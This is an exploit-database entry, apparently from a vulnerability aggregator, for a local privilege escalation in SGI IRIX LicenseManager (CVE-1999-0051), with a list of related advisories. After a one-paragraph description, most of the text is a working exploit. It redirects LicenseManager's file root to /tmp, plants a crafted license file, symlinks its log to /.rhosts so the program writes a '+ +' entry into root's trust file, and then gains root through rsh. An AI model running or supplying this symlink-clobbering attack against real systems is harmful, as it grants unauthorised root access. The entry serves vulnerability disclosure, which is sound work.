SGI IRIX 6.4 / SGI license_oeo 3.0/3.1/3.1.1 LicenseManager - 'LICENSEMGR_FILE_ROOT' Local Privilege Escalation
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-1999-0051 | 29 Sep 199904:00 | – | cve |
 | CVE-1999-0051 | 29 Sep 199904:00 | – | cvelist |
 | SGI IRIX 5.3/6.2 / SGI license_oeo 1.0 LicenseManager - 'NETLS_LICENSE_FILE' Local Privilege Escalation | 5 Apr 199600:00 | – | exploitdb |
| Solaris 2.5.1 - License Manager | 21 Oct 199800:00 | – | exploitdb |
 | EUVD-1999-0051 | 7 Oct 202500:30 | – | euvd |
 | CVE-1999-0051 | 6 Jan 199705:00 | – | nvd |
 | PT-1997-1030 · Globetrotter +1 · Flexlm Licensemanager +1 | 6 Jan 199700:00 | – | ptsecurity |
 | CVE-1999-0051 | 7 Jan 202609:39 | – | redhatcve |
source: https://www.securityfocus.com/bid/73/info
Under normal operation LicenseManager(1M) is a program used to view and manage FLEXlm and NetLS software licenses. Unfortunately, a set of vulnerabilities has been discovered that allows LicenseManager(1M) to arbitrary manipulate root-owned files allowing root access.
% mkdir -p /tmp/var/flexlm
% setenv LICENSEMGR_FILE_ROOT /tmp
% cd /tmp/var/flexlm
% cat > license.dat
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
^D
% ln -s /.rhosts license.dat.log
% LicenseManager &
Next click on Update, fill in the four fields with any information and click
on Apply. LicenseManager will report an error. Ignore it and exit.
% cat /.rhosts
Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996
#
# FLEXlm license file
#
FEATURE + + blah sgifd 1.00 01-jan-0 0 blah
% rsh localhost -l root
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CVSS 27.2
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